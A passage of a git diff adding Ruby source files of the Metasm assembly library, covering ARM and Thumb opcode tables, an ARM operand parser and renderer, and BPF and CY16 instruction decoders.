addop_data_s name+'s', (op << 21) | (1 << 20), a1, a2, :cond_name_off => name.length + end + + def addop_load_puw(name, op, *a) + addop name, op, {:baseincr => :post}, :rd, :u, *a + addop name, op | (1 << 24), :rd, :u, *a + addop name, op | (1 << 24) | (1 << 21), {:baseincr => :pre}, :rd, :u, *a + end + def addop_load_lsh_o(name, op) + addop_load_puw name, op, :rsz, :mem_rn_rm, {:cond_name_off => 3} + addop_load_puw name, op | (1 << 22), :mem_rn_i8_12, {:cond_name_off => 3} + end + def addop_load_lsh + op = 9 << 4 + addop_load_lsh_o 'strh', op | (1 << 5) + addop_load_lsh_o 'ldrd', op | (1 << 6) + addop_load_lsh_o 'strd', op | (1 << 6) | (1 << 5) + addop_load_lsh_o 'ldrh', op | (1 << 20) | (1 << 5) + addop_load_lsh_o 'ldrsb', op | (1 << 20) | (1 << 6) + addop_load_lsh_o 'ldrsh', op | (1 << 20) | (1 << 6) | (1 << 5) + end + + def addop_load_puwt(name, op, *a) + addop_load_puw name, op, *a + addop name+'t', op | (1 << 21), {:baseincr => :post, :cond_name_off => name.length}, :rd, :u, *a + end + def addop_load_o(name, op, *a) + addop_load_puwt name, op, :mem_rn_i12, *a + addop_load_puwt name, op | (1 << 25), :mem_rn_rms, *a + end + def addop_load(name, op) + addop_load_o name, op + addop_load_o name+'b', op | (1 << 22), :cond_name_off => name.length + end + + def addop_ldm_go(name, op, *a) + addop name, op, :rn, :reglist, {:cond_name_off => 3}, *a + end + def addop_ldm_w(name, op, *a) + addop_ldm_go name, op, *a # base reg untouched + addop_ldm_go name, op | (1 << 21), {:baseincr => :post}, *a # base updated + end + def addop_ldm_s(name, op) + addop_ldm_w name, op # transfer regs + addop_ldm_w name, op | (1 << 22), :usermoderegs # transfer usermode regs + end + def addop_ldm_p(name, op) + addop_ldm_s name+'a', op # target memory included + addop_ldm_s name+'b', op | (1 << 24) # target memory excluded, transfer starts at next addr + end + def addop_ldm_u(name, op) + addop_ldm_p name+'d', op # transfer made downward + addop_ldm_p name+'i', op | (1 << 23) # transfer made upward + end + def addop_ldm(name, op) + addop_ldm_u name, op + end + + # ARMv6 instruction set, aka arm7/arm9 + def init_arm_v6 + @opcode_list = [] + + [:baseincr, :cond, :cond_name_off, :usermoderegs, :tothumb, :tojazelle + ].each { |p| @valid_props[p] = true } + + [:rn, :rd, :rm, :crn, :crd, :crm, :cpn, :reglist, :i24, :rm_rs, :rm_is, + :i8_r, :mem_rn_rm, :mem_rn_i8_12, :mem_rn_rms, :mem_rn_i12 + ].each { |p| @valid_args[p] = true } + + @fields_mask.update :rn => 0xf, :rd => 0xf, :rs => 0xf, :rm => 0xf, + :crn => 0xf, :crd => 0xf, :crm => 0xf, :cpn => 0xf, + :rnx => 0xf, :rdx => 0xf, :rsx => 0xf, + :shifti => 0x1f, :stype => 3, :rotate => 0xf, :reglist => 0xffff, + :i8 => 0xff, :i12 => 0xfff, :i24 => 0xff_ffff, :i8_12 => 0xf0f, + :u => 1, :mask => 0xf, :sbo => 0xf, :cond => 0xf + + @fields_shift.update :rn => 16, :rd => 12, :rs => 8, :rm => 0, + :crn => 16, :crd => 12, :crm => 0, :cpn => 8, + :rnx => 16, :rdx => 12, :rsx => 8, + :shifti => 7, :stype => 5, :rotate => 8, :reglist => 0, + :i8 => 0, :i12 => 0, :i24 => 0, :i8_12 => 0, + :u => 23, :mask => 16, :sbo => 12, :cond => 28 + + addop_data 'and', 0, :rd, :rn + addop_data 'eor', 1, :rd, :rn + addop_data 'xor', 1, :rd, :rn + addop_data 'sub', 2, :rd, :rn + addop_data 'rsb', 3, :rd, :rn + addop_data 'add', 4, :rd, :rn + addop_data 'adc', 5, :rd, :rn + addop_data 'sbc', 6, :rd, :rn + addop_data 'rsc', 7, :rd, :rn + addop_data_s 'tst', (8 << 21) | (1 << 20), :rdx, :rn + addop_data_s 'teq', (9 << 21) | (1 << 20), :rdx, :rn + addop_data_s 'cmp', (10 << 21) | (1 << 20), :rdx, :rn + addop_data_s 'cmn', (11 << 21) | (1 << 20), :rdx, :rn + addop_data 'orr', 12, :rd, :rn + addop_data 'or', 12, :rd, :rn + addop_data 'mov', 13, :rd, :rnx + addop_data 'bic', 14, :rd, :rn + addop_data 'mvn', 15, :rd, :rnx + + addop 'b', 0b1010 << 24, :setip, :stopexec, :i24 + addop 'bl', 0b1011 << 24, :setip, :stopexec, :i24, :saveip + addop 'bkpt', (0b00010010 << 20) | (0b0111 << 4) # other fields are available&unused, also cnd != AL is undef + addop 'blx', 0b1111101 << 25, :setip, :stopexec, :saveip, :tothumb, :h, :uncond, :i24 + addop 'blx', (0b00010010 << 20) | (0b0011 << 4), :setip, :stopexec, :saveip, :tothumb, :rm, :sbo16, :sbo12, :sbo8 + addop 'bx', (0b00010010 << 20) | (0b0001 << 4), :setip, :stopexec, :rm, :sbo16, :sbo12, :sbo8 + addop 'bxj', (0b00010010 << 20) | (0b0010 << 4), :setip, :stopexec, :rm, :tojazelle, :sbo16, :sbo12, :sbo8 + + addop_load 'str', (1 << 26) + addop_load 'ldr', (1 << 26) | (1 << 20) + addop_load_lsh + addop_ldm 'stm', (1 << 27) + addop_ldm 'ldm', (1 << 27) | (1 << 20) + # TODO aliases (http://www.davespace.co.uk/arm/introduction-to-arm/stack.html) + # fd = full descending stmfd/ldmfd = stmdb/ldmia + # ed = empty descending stmed/ldmed = stmda/ldmib + # fa = full ascending stmfa/ldmfa = stmib/ldmda + # ea = empty ascending stmea/ldmea = stmia/ldmdb + + # TODO mrs, [qus]add/sub* + addop 'clz', (0b00010110 << 20) | (0b0001 << 4), :rd, :rm, :sbo16, :sbo8 + addop 'ldrex', (0b00011001 << 20) | (0b1001 << 4), :rd, :rn, :sbo8, :sbo0 + addop 'strex', (0b00011000 << 20) | (0b1001 << 4), :rd, :rm, :rn, :sbo8 + addop 'rev', (0b01101011 << 20) | (0b0011 << 4), :rd, :rm, :sbo16, :sbo8 + addop 'rev16', (0b01101011 << 20) | (0b1011 << 4), :rd, :rm, :sbo16, :sbo8 + addop 'revsh', (0b01101111 << 20) | (0b1011 << 4), :rd, :rm, :sbo16, :sbo8 + addop 'sel', (0b01101000 << 20) | (0b1011 << 4), :rd, :rn, :rm, :sbo8 + + end + + + + # THUMB2 MODE + + def addop_t(name, bin, *args) + o = Opcode.new name, bin + args.each { |a| + o.args << a if @valid_args[a] + o.props[a] = true if @valid_props[a] + o.props.update a if a.kind_of?(Hash) + } + + args.each { |a| o.fields[a] = [@fields_mask[a], @fields_shift[a]] if @fields_mask[a] } + + @opcode_list_t << o + end + + def init_arm_thumb2 + @opcode_list_t = [] + @valid_props_t = {} + @valid_args_t = {} + @fields_mask_t = {} + @fields_shift_t = {} + + [:i16, :i16_3_8, :i16_rd].each { |p| @valid_props_t[p] = true } + [:i5, :rm, :rn, :rd].each { |p| @valid_args_t[p] = true } + @fields_mask_t.update :i5 => 0x1f, :i3 => 7, :i51 => 0x5f, + :rm => 7, :rn => 7, :rd => 7, :rdn => 7, :rdn8 => 7 + @fields_shift_t.update :i5 => 6, :i3 => 6, :i51 => 3, + :rm => 6, :rn => 3, :rd => 0, :rdn => 0, :rdn8 => 8 + + addop_t 'mov', 0b000_00 << 11, :rd, :rm + addop_t 'lsl', 0b000_00 << 11, :rd, :rm, :i5 + addop_t 'lsr', 0b000_01 << 11, :rd, :rm, :i5 + addop_t 'asr', 0b000_10 << 11, :rd, :rm, :i5 + + addop_t 'add', 0b000_1100 << 9, :rd, :rn, :rm + addop_t 'add', 0b000_1110 << 9, :rd, :rn, :i3 + addop_t 'sub', 0b000_1101 << 9, :rd, :rn, :rm + addop_t 'sub', 0b000_1111 << 9, :rd, :rn, :i3 + + addop_t 'mov', 0b001_00 << 10, :rdn8, :i8 + addop_t 'cmp', 0b001_01 << 10, :rdn8, :i8 + addop_t 'add', 0b001_10 << 10, :rdn8, :i8 + addop_t 'sub', 0b001_11 << 10, :rdn8, :i8 + + addop_t 'and', (0b010000 << 10) | ( 0 << 6), :rdn, :rm + addop_t 'eor', (0b010000 << 10) | ( 1 << 6), :rdn, :rm # xor + addop_t 'lsl', (0b010000 << 10) | ( 2 << 6), :rdn, :rm + addop_t 'lsr', (0b010000 << 10) | ( 3 << 6), :rdn, :rm + addop_t 'asr', (0b010000 << 10) | ( 4 << 6), :rdn, :rm + addop_t 'adc', (0b010000 << 10) | ( 5 << 6), :rdn, :rm + addop_t 'sbc', (0b010000 << 10) | ( 6 << 6), :rdn, :rm + addop_t 'ror', (0b010000 << 10) | ( 7 << 6), :rdn, :rm + addop_t 'tst', (0b010000 << 10) | ( 8 << 6), :rdn, :rm + addop_t 'rsb', (0b010000 << 10) | ( 9 << 6), :rdn, :rm + addop_t 'cmp', (0b010000 << 10) | (10 << 6), :rdn, :rm + addop_t 'cmn', (0b010000 << 10) | (11 << 6), :rdn, :rm + addop_t 'orr', (0b010000 << 10) | (12 << 6), :rdn, :rm # or + addop_t 'mul', (0b010000 << 10) | (13 << 6), :rdn, :rm + addop_t 'bic', (0b010000 << 10) | (14 << 6), :rdn, :rm + addop_t 'mvn', (0b010000 << 10) | (15 << 6), :rdn, :rm + + addop_t 'add', 0b010001_00 << 8, :rdn, :rm, :dn + addop_t 'cmp', 0b010001_01 << 8, :rdn, :rm, :dn + addop_t 'mov', 0b010001_10 << 8, :rdn, :rm, :dn + + addop_t 'bx', 0b010001_110 << 7, :rm + addop_t 'blx', 0b010001_111 << 7, :rm + + addop_t 'ldr', 0b01001 << 11, :rd, :pc_i8 + addop_t 'str', 0b0101_000 << 9, :rd, :rn, :rm + addop_t 'strh', 0b0101_001 << 9, :rd, :rn, :rm + addop_t 'strb', 0b0101_010 << 9, :rd, :rn, :rm + addop_t 'ldrsb', 0b0101_011 << 9, :rd, :rn, :rm + addop_t 'ldr', 0b0101_100 << 9, :rd, :rn, :rm + addop_t 'ldrh', 0b0101_101 << 9, :rd, :rn, :rm + addop_t 'ldrb', 0b0101_110 << 9, :rd, :rn, :rm + addop_t 'ldrsh', 0b0101_111 << 9, :rd, :rn, :rm + + addop_t 'str', 0b01100 << 11, :rd, :rn, :i5 + addop_t 'ldr', 0b01101 << 11, :rd, :rn, :i5 + addop_t 'strb', 0b01110 << 11, :rd, :rn, :i5 + addop_t 'ldrb', 0b01111 << 11, :rd, :rn, :i5 + addop_t 'strh', 0b10000 << 11, :rd, :rn, :i5 + addop_t 'ldrh', 0b10001 << 11, :rd, :rn, :i5 + addop_t 'str', 0b10010 << 11, :rd, :sp_i8 + addop_t 'ldr', 0b10011 << 11, :rd, :sp_i8 + addop_t 'adr', 0b10100 << 11, :rd, :pc, :i8 + addop_t 'add', 0b10101 << 11, :rd, :sp, :i8 + + # 0b1011 misc + addop_t 'add', 0b1011_0000_0 << 7, :sp, :i7 + addop_t 'sub', 0b1011_0000_1 << 7, :sp, :i7 + addop_t 'sxth', 0b1011_0010_00 << 6, :rd, :rn + addop_t 'sxtb', 0b1011_0010_01 << 6, :rd, :rn + addop_t 'uxth', 0b1011_0010_10 << 6, :rd, :rn + addop_t 'uxtb', 0b1011_0010_11 << 6, :rd, :rn + addop_t 'cbz', 0b1011_0001 << 8, :rd, :i51 + addop_t 'cbnz', 0b1011_1001 << 8, :rd, :i51 + addop_t 'push', 0b1011_0100 << 8, :rlist + addop_t 'push', 0b1011_0101 << 8, :rlist + addop_t 'pop', 0b1011_1100 << 8, :rlist + addop_t 'pop', 0b1011_1101 << 8, :rlist + #addop_t 'unpredictable', 0b1011_0110_0100_0000, :i4 + addop_t 'setendle', 0b1011_0110_0101_0000 + addop_t 'setendbe', 0b1011_0110_0101_1000 + addop_t 'cps', 0b1011_0110_0110_0000 + #addop_t 'unpredictable', 0b1011_0110_0110_1000, :msk_0001_0111 + addop_t 'rev', 0b1011_1010_00 << 6, :rd, :rn + addop_t 'rev16', 0b1011_1010_01 << 6, :rd, :rn + addop_t 'revsh', 0b1011_1010_11 << 6, :rd, :rn + addop_t 'bkpt', 0b1011_1110 << 8, :i8 + addop_t 'it', 0b1011_1111 << 8, :itcond, :itmsk + addop_t 'nop', 0b1011_1111_0000_0000 + addop_t 'yield', 0b1011_1111_0000_0001 + addop_t 'wfe', 0b1011_1111_0000_0010 + addop_t 'wfi', 0b1011_1111_0000_0011 + addop_t 'sev', 0b1011_1111_0000_0100 + addop_t 'nop', 0b1011_1111_0000_0000, :i4 + + + addop_t 'stmia', 0b11000 << 11, :rn, :rlist # stmea + addop_t 'ldmia', 0b11001 << 11, :rn, :rlist # ldmfd + addop_t 'undef', 0b1101_1110 << 8, :i8 + addop_t 'svc', 0b1101_1111 << 8, :i8 + addop_t 'b', 0b1101 << 12, :cond, :i8 + addop_t 'b', 0b11100 << 11, :i11 + + # thumb-32 + end + + def init_arm_v6_thumb2 + init_arm_v6 + init_arm_thumb2 + end + alias init_latest init_arm_v6_thumb2 +end +end diff --git a/lib/metasm/metasm/cpu/arm/parse.rb b/lib/metasm/metasm/cpu/arm/parse.rb new file mode 100644 index 0000000000..2a1bdfe44c --- /dev/null +++ b/lib/metasm/metasm/cpu/arm/parse.rb @@ -0,0 +1,142 @@ +# This file is part of Metasm, the Ruby assembly manipulation suite +# Copyright (C) 2006-2009 Yoann GUILLOT +# +# Licence is LGPL, see LICENCE in the top-level directory + + +require 'metasm/cpu/arm/opcodes' +require 'metasm/parse' + +module Metasm +class ARM + def opcode_list_byname + @opcode_list_byname ||= opcode_list.inject({}) { |h, o| + (h[o.name] ||= []) << o + if o.props[:cond] + coff = o.props[:cond_name_off] || o.name.length + %w[eq ne cs cc mi pl vs vc hi ls ge lt gt le al].each { |cd| + n = o.name.dup + n[coff, 0] = cd + (h[n] ||= []) << o + } + end + h + } + end + + def parse_arg_valid?(op, sym, arg) + case sym + when :rd, :rs, :rn, :rm; arg.kind_of?(Reg) and arg.shift == 0 and (arg.updated ? op.props[:baseincr] : !op.props[:baseincr]) + when :rm_rs; arg.kind_of?(Reg) and arg.shift.kind_of?(Reg) + when :rm_is; arg.kind_of?(Reg) and arg.shift.kind_of?(Integer) + when :i12, :i24, :i8_12; arg.kind_of?(Expression) + when :i8_r + if arg.kind_of?(Expression) + b = arg.reduce + !b.kind_of?(Integer) or (0..15).find { + b = ((b << 2) & 0xffff_ffff) | ((b >> 30) & 3) + b < 0x100 } + end + when :mem_rn_rm, :mem_rn_i8_12, :mem_rn_rms, :mem_rn_i12 + os = case sym + when :mem_rn_rm; :rm + when :mem_rn_i8_12; :i8_12 + when :mem_rn_rms; :rm_rs + when :mem_rn_i12; :i12 + end + arg.kind_of?(Memref) and parse_arg_valid?(op, os, arg.offset) + when :reglist; arg.kind_of?(RegList) + end + # TODO check flags on reglist, check int values + end + + def parse_argument(lexer) + raise lexer, "unexpected EOS" if not lexer.nexttok + if Reg.s_to_i[lexer.nexttok.raw] + arg = Reg.new Reg.s_to_i[lexer.readtok.raw] + lexer.skip_space + case lexer.nexttok.raw.downcase + when 'lsl', 'lsr', 'asr', 'ror' + arg.stype = lexer.readtok.raw.downcase.to_sym + lexer.skip_space + if Reg.s_to_i[lexer.nexttok.raw] + arg.shift = Reg.new Reg.s_to_i[lexer.readtok.raw] + else + arg.shift = Expression.parse(lexer).reduce + end + when 'rrx' + lexer.readtok + arg.stype = :ror + when '!' + lexer.readtok + arg.updated = true + end if lexer.nexttok + elsif lexer.nexttok.raw == '{' + lexer.readtok + arg = RegList.new + loop do + lexer.skip_space + raise "unterminated reglist" if lexer.eos? + if Reg.s_to_i[lexer.nexttok.raw] + arg.list << Reg.new(Reg.s_to_i[lexer.readtok.raw]) + lexer.skip_space + raise "unterminated reglist" if lexer.eos? + end + case lexer.nexttok.raw + when ','; lexer.readtok + when '-' + lexer.readtok + lexer.skip_space + raise "unterminated reglist" if lexer.eos? + if not r = Reg.s_to_i[lexer.nexttok.raw] + raise lexer, "reglist parse error: invalid range" + end + lexer.readtok + (arg.list.last.i+1..r).each { |v| + arg.list << Reg.new(v) + } + when '}'; lexer.readtok ; break + else raise lexer, "reglist parse error: ',' or '}' expected, got #{lexer.nexttok.raw.inspect}" + end + end + if lexer.nexttok and lexer.nexttok.raw == '^' + lexer.readtok + arg.usermoderegs = true + end + elsif lexer.nexttok.raw == '[' + lexer.readtok + raise "unexpected EOS" if lexer.eos? + if not base = Reg.s_to_i[lexer.nexttok.raw] + raise lexer, 'invalid mem base (reg expected)' + end + base = Reg.new Reg.s_to_i[lexer.readtok.raw] + raise "unexpected EOS" if lexer.eos? + if lexer.nexttok.raw == ']' + lexer.readtok + #closed = true + end + if !lexer.nexttok or lexer.nexttok.raw != ',' + raise lexer, 'mem off expected' + end + lexer.readtok + off = parse_argument(lexer) + if not off.kind_of?(Expression) and not off.kind_of?(Reg) + raise lexer, 'invalid mem off (reg/imm expected)' + end + case lexer.nexttok and lexer.nexttok.raw + when ']' + when ',' + end + lexer.readtok + arg = Memref.new(base, off) + if lexer.nexttok and lexer.nexttok.raw == '!' + lexer.readtok + arg.incr = :pre # TODO :post + end + else + arg = Expression.parse lexer + end + arg + end +end +end diff --git a/lib/metasm/metasm/cpu/arm/render.rb b/lib/metasm/metasm/cpu/arm/render.rb new file mode 100644 index 0000000000..a39e808752 --- /dev/null +++ b/lib/metasm/metasm/cpu/arm/render.rb @@ -0,0 +1,55 @@ +# This file is part of Metasm, the Ruby assembly manipulation suite +# Copyright (C) 2006-2009 Yoann GUILLOT +# +# Licence is LGPL, see LICENCE in the top-level directory + +require 'metasm/render' +require 'metasm/cpu/arm/opcodes' + +module Metasm +class ARM + class Reg + include Renderable + def render + r = self.class.i_to_s[@i] + r += '!' if updated + if @stype == :lsl and @shift == 0 + [r] + elsif @stype == :ror and @shift == 0 + ["#{r} RRX"] + else + case s = @shift + when Integer; s = Expression[s == 0 ? 32 : s] # lsl and ror already accounted for + when Reg; s = self.class.i_to_s[s.i] + end + ["#{r} #{@stype.to_s.upcase} #{s}"] + end + end + end + + class Memref + include Renderable + def render + o = @offset + o = Expression[o] if o.kind_of? Integer + case @incr + when nil; ['[', @base, ', ', o, ']'] + when :pre; ['[', @base, ', ', o, ']!'] + when :post; ['[', @base, '], ', o] + end + end + end + + class RegList + include Renderable + def render + r = ['{'] + @list.each { |l| r << l << ', ' } + r[-1] = '}' + r << '^' if usermoderegs + r + end + end +end +end + diff --git a/lib/metasm/metasm/cpu/bpf.rb b/lib/metasm/metasm/cpu/bpf.rb new file mode 100644 index 0000000000..58a22abf0c --- /dev/null +++ b/lib/metasm/metasm/cpu/bpf.rb @@ -0,0 +1,9 @@ +# This file is part of Metasm, the Ruby assembly manipulation suite +# Copyright (C) 2006-2009 Yoann GUILLOT +# +# Licence is LGPL, see LICENCE in the top-level directory + + +require 'metasm/main' +require 'metasm/cpu/bpf/decode' +require 'metasm/cpu/bpf/render' diff --git a/lib/metasm/metasm/cpu/bpf/decode.rb b/lib/metasm/metasm/cpu/bpf/decode.rb new file mode 100644 index 0000000000..30451389fc --- /dev/null +++ b/lib/metasm/metasm/cpu/bpf/decode.rb @@ -0,0 +1,142 @@ +# This file is part of Metasm, the Ruby assembly manipulation suite +# Copyright (C) 2006-2009 Yoann GUILLOT +# +# Licence is LGPL, see LICENCE in the top-level directory + + +require 'metasm/cpu/bpf/opcodes' +require 'metasm/decode' + +module Metasm +class BPF + def build_bin_lookaside + opcode_list.inject({}) { |h, op| h.update op.bin => op } + end + + # tries to find the opcode encoded at edata.ptr + def decode_findopcode(edata) + return if edata.ptr > edata.data.length-8 + di = DecodedInstruction.new self + code = edata.data[edata.ptr, 2].unpack('v')[0] + return di if di.opcode = @bin_lookaside[code] + end + + def decode_instr_op(edata, di) + op = di.opcode + di.instruction.opname = op.name + di.bin_length = 8 + code, jt, jf, k = edata.read(8).unpack('vCCV') + + op.args.each { |a| + di.instruction.args << case a + when :k; Expression[k] + when :x; Reg.new(:x) + when :a; Reg.new(:a) + when :len; Reg.new(:len) + when :p_k; PktRef.new(nil, Expression[k], op.props[:msz]) + when :p_xk; PktRef.new(Reg.new(:x), Expression[k], op.props[:msz]) + when :m_k; MemRef.new(nil, Expression[4*k], 4) + when :jt; Expression[jt] + when :jf; Expression[jf] + else raise "unhandled arg #{a}" + end + } + + # je a, x, 0, 12 -> jne a, x, 12 + # je a, x, 12, 0 -> je a, x, 12 + if op.args[2] == :jt and di.instruction.args[2] == Expression[0] + di.opcode = op.dup + di.opcode.props.delete :stopexec + di.instruction.opname = { 'jg' => 'jle', 'jge' => 'jl', 'je' => 'jne', 'jtest' => 'jntest' }[di.instruction.opname] + di.instruction.args.delete_at(2) + elsif op.args[3] == :jf and di.instruction.args[3] == Expression[0] + di.opcode = op.dup + di.opcode.props.delete :stopexec + di.instruction.args.delete_at(3) + end + + di + end + + def decode_instr_interpret(di, addr) + if di.opcode.props[:setip] + delta = di.instruction.args[-1].reduce + 1 + arg = Expression[addr, :+, 8*delta].reduce + di.instruction.args[-1] = Expression[arg] + + if di.instruction.args.length == 4 + delta = di.instruction.args[2].reduce + 1 + arg = Expression[addr, :+, 8*delta].reduce + di.instruction.args[2] = Expression[arg] + end + end + + di + end + + # hash opcode_name => lambda { |dasm, di, *symbolic_args| instr_binding } + def backtrace_binding + @backtrace_binding ||= init_backtrace_binding + end + def backtrace_binding=(b) @backtrace_binding = b end + + # populate the @backtrace_binding hash with default values + def init_backtrace_binding + @backtrace_binding ||= {} + + opcode_list.map { |ol| ol.basename }.uniq.sort.each { |op| + binding = case op + when 'mov'; lambda { |di, a0, a1| { a0 => Expression[a1] } } + when 'add'; lambda { |di, a0, a1| { a0 => Expression[a0, :+, a1] } } + when 'sub'; lambda { |di, a0, a1| { a0 => Expression[a0, :-, a1] } } + when 'mul'; lambda { |di, a0, a1| { a0 => Expression[a0, :*, a1] } } + when 'div'; lambda { |di, a0, a1| { a0 => Expression[a0, :/, a1] } } + when 'shl'; lambda { |di, a0, a1| { a0 => Expression[a0, :<<, a1] } } + when 'shr'; lambda { |di, a0, a1| { a0 => Expression[a0, :>>, a1] } } + when 'neg'; lambda { |di, a0| { a0 => Expression[:-, a0] } } + when 'msh'; lambda { |di, a0, a1| { a0 => Expression[[a1, :&, 0xf], :<<, 2] } } + when 'jmp', 'jg', 'jge', 'je', 'jtest', 'ret'; lambda { |di, *a| { } } + end + @backtrace_binding[op] ||= binding if binding + } + + @backtrace_binding + end + + def get_backtrace_binding(di) + a = di.instruction.args.map { |arg| + case arg + when PktRef, MemRef, Reg; arg.symbolic(di) + else arg + end + } + + if binding = backtrace_binding[di.opcode.name] + binding[di, *a] + else + puts "unhandled instruction to backtrace: #{di}" if $VERBOSE + {:incomplete_binding => Expression[1]} + end + end + + def get_xrefs_x(dasm, di) + return [] if not di.opcode.props[:setip] + + if di.instruction.args.length == 4 + di.instruction.args[-2, 2] + else + di.instruction.args[-1, 1] + end + end + + # updates an instruction's argument replacing an expression with another (eg label renamed) + def replace_instr_arg_immediate(i, old, new) + i.args.map! { |a| + case a + when Expression; a == old ? new : Expression[a.bind(old => new).reduce] + else a + end + } + end +end +end diff --git a/lib/metasm/metasm/cpu/bpf/main.rb b/lib/metasm/metasm/cpu/bpf/main.rb new file mode 100644 index 0000000000..b070065cd7 --- /dev/null +++ b/lib/metasm/metasm/cpu/bpf/main.rb @@ -0,0 +1,60 @@ +# This file is part of Metasm, the Ruby assembly manipulation suite +# Copyright (C) 2006-2009 Yoann GUILLOT +# +# Licence is LGPL, see LICENCE in the top-level directory + + +require 'metasm/main' + +module Metasm +class BPF < CPU + class Reg + attr_accessor :v + def initialize(v) + @v = v + end + + def symbolic(orig=nil) ; @v ; end + end + + class MemRef + attr_accessor :base, :offset, :msz + + def memtype + :mem + end + + def initialize(base, offset, msz) + @base = base + @offset = offset + @msz = msz + end + + def symbolic(orig) + p = Expression[memtype] + p = Expression[p, :+, @base.symbolic] if base + p = Expression[p, :+, @offset] if offset + Indirection[p, @msz, orig] + end + end + + class PktRef < MemRef + def memtype + :pkt + end + end + + def initialize(family = :latest) + super() + @endianness = :big + @size = 32 + @family = family + end + + def init_opcode_list + send("init_#@family") + @opcode_list + end +end +end + diff --git a/lib/metasm/metasm/cpu/bpf/opcodes.rb b/lib/metasm/metasm/cpu/bpf/opcodes.rb new file mode 100644 index 0000000000..35a55eb0b7 --- /dev/null +++ b/lib/metasm/metasm/cpu/bpf/opcodes.rb @@ -0,0 +1,81 @@ +# This file is part of Metasm, the Ruby assembly manipulation suite +# Copyright (C) 2006-2009 Yoann GUILLOT +# +# Licence is LGPL, see LICENCE in the top-level directory + +require 'metasm/cpu/bpf/main' + +module Metasm + +class BPF + def addop(name, bin, *args) + o = Opcode.new name, bin + args.each { |a| + o.args << a if @valid_args[a] + o.props.update a if a.kind_of?(::Hash) + } + @opcode_list << o + end + + def addop_ldx(bin, src) + addop 'mov', bin | 0x00, :a, src + addop 'mov', bin | 0x01, :x, src + end + + def addop_ldsz(bin, src) + addop 'mov', bin | 0x00, :a, src, :msz => 4 + addop 'mov', bin | 0x08, :a, src, :msz => 2 + addop 'mov', bin | 0x10, :a, src, :msz => 1 + end + + def addop_alu(name, bin) + addop name, bin | 0x04, :a, :k + addop name, bin | 0x0C, :a, :x + end + + def addop_j(name, bin) + addop name, bin | 0x05 | 0x00, :a, :k, :jt, :jf, :setip => true, :stopexec => true + addop name, bin | 0x05 | 0x08, :a, :x, :jt, :jf, :setip => true, :stopexec => true + end + + def init_bpf + @opcode_list = [] + [:a, :k, :x, :len, :m_k, :p_k, :p_xk, :jt, :jf].each { |a| @valid_args[a] = true } + + # LD/ST + addop_ldx 0x00, :k + addop_ldsz 0x20, :p_k + addop_ldsz 0x40, :p_xk + addop_ldx 0x60, :m_k + addop_ldx 0x80, :len + addop 'msh', 0xB1, :x, :p_k, :msz => 1 + addop 'mov', 0x02, :m_k, :a + addop 'mov', 0x03, :m_k, :x + + # ALU + addop_alu 'add', 0x00 + addop_alu 'sub', 0x10 + addop_alu 'mul', 0x20 + addop_alu 'div', 0x30 + addop_alu 'or', 0x40 + addop_alu 'and', 0x50 + addop_alu 'shl', 0x60 + addop_alu 'shr', 0x70 + addop 'neg', 0x84, :a + + # JMP + addop 'jmp', 0x05, :k, :setip => true, :stopexec => true + addop_j 'je', 0x10 + addop_j 'jg', 0x20 + addop_j 'jge', 0x30 + addop_j 'jtest',0x40 + addop 'ret', 0x06, :k, :stopexec => true + addop 'ret', 0x16, :a, :stopexec => true + + addop 'mov', 0x07, :x, :a + addop 'mov', 0x87, :a, :x + end + + alias init_latest init_bpf +end +end diff --git a/lib/metasm/metasm/cpu/bpf/render.rb b/lib/metasm/metasm/cpu/bpf/render.rb new file mode 100644 index 0000000000..1b4a68a27a --- /dev/null +++ b/lib/metasm/metasm/cpu/bpf/render.rb @@ -0,0 +1,41 @@ +# This file is part of Metasm, the Ruby assembly manipulation suite +# Copyright (C) 2006-2009 Yoann GUILLOT +# +# Licence is LGPL, see LICENCE in the top-level directory + + +require 'metasm/cpu/bpf/opcodes' +require 'metasm/render' + +module Metasm +class BPF + class Reg + include Renderable + def render ; [@v.to_s] end + end + class MemRef + include Renderable + def render + r = [] + r << memtype + r << [nil, ' byte ', ' word ', nil, ' dword '][@msz] + r << '[' + r << @base if @base + r << '+' if @base and @offset + r << @offset if @offset + r << ']' + end + end + + def render_instruction(i) + r = [] + r << i.opname + if not i.args.empty? + r << ' ' + i.args.each { |a_| r << a_ << ', ' } + r.pop + end + r + end +end +end diff --git a/lib/metasm/metasm/cpu/cy16.rb b/lib/metasm/metasm/cpu/cy16.rb new file mode 100644 index 0000000000..bee7099f2e --- /dev/null +++ b/lib/metasm/metasm/cpu/cy16.rb @@ -0,0 +1,9 @@ +# This file is part of Metasm, the Ruby assembly manipulation suite +# Copyright (C) 2006-2009 Yoann GUILLOT +# +# Licence is LGPL, see LICENCE in the top-level directory + + +require 'metasm/main' +require 'metasm/cpu/cy16/decode' +require 'metasm/cpu/cy16/render' diff --git a/lib/metasm/metasm/cpu/cy16/decode.rb b/lib/metasm/metasm/cpu/cy16/decode.rb new file mode 100644 index 0000000000..c3bc9a5812 --- /dev/null +++ b/lib/metasm/metasm/cpu/cy16/decode.rb @@ -0,0 +1,253 @@ +# This file is part of Metasm, the Ruby assembly manipulation suite +# Copyright (C) 2006-2009 Yoann GUILLOT +# +# Licence is LGPL, see LICENCE in the top-level directory + + +require 'metasm/cpu/cy16/opcodes' +require 'metasm/decode' + +module Metasm +class CY16 + def build_opcode_bin_mask(op) + # bit = 0 if can be mutated by an field value, 1 if fixed by opcode + op.bin_mask = 0 + op.fields.each { |f, off| + op.bin_mask |= (@fields_mask[f] << off) + } + op.bin_mask ^= 0xffff + end + + def build_bin_lookaside + # sets up a hash byte value => list of opcodes that may match + # opcode.bin_mask is built here + lookaside = Array.new(256) { [] } + opcode_list.each { |op| + build_opcode_bin_mask op + b = (op.bin >> 8) & 0xff + msk = (op.bin_mask >> 8) & 0xff + for i in b..(b | (255^msk)) + lookaside[i] << op if i & msk == b & msk + end + } + lookaside + end + + def decode_findopcode(edata) + di = DecodedInstruction.new self + return if edata.ptr+2 > edata.length + bin = edata.decode_imm(:u16, @endianness) + edata.ptr -= 2 + return di if di.opcode = @bin_lookaside[(bin >> 8) & 0xff].find { |op| + bin & op.bin_mask == op.bin & op.bin_mask + } + end + + + def decode_instr_op_r(val, edata) + bw = ((val & 0b1000) > 0 ? 1 : 2) + case val & 0b11_0000 + when 0b00_0000 + Reg.new(val) + when 0b01_0000 + if val == 0b01_1111 + Expression[edata.decode_imm(:u16, @endianness)] + else + Memref.new(Reg.new(8+(val&7)), nil, bw) + end + when 0b10_0000 + if val & 7 == 7 + Memref.new(nil, edata.decode_imm(:u16, @endianness), bw) + else + Memref.new(Reg.new(8+(val&7)), nil, bw, true) 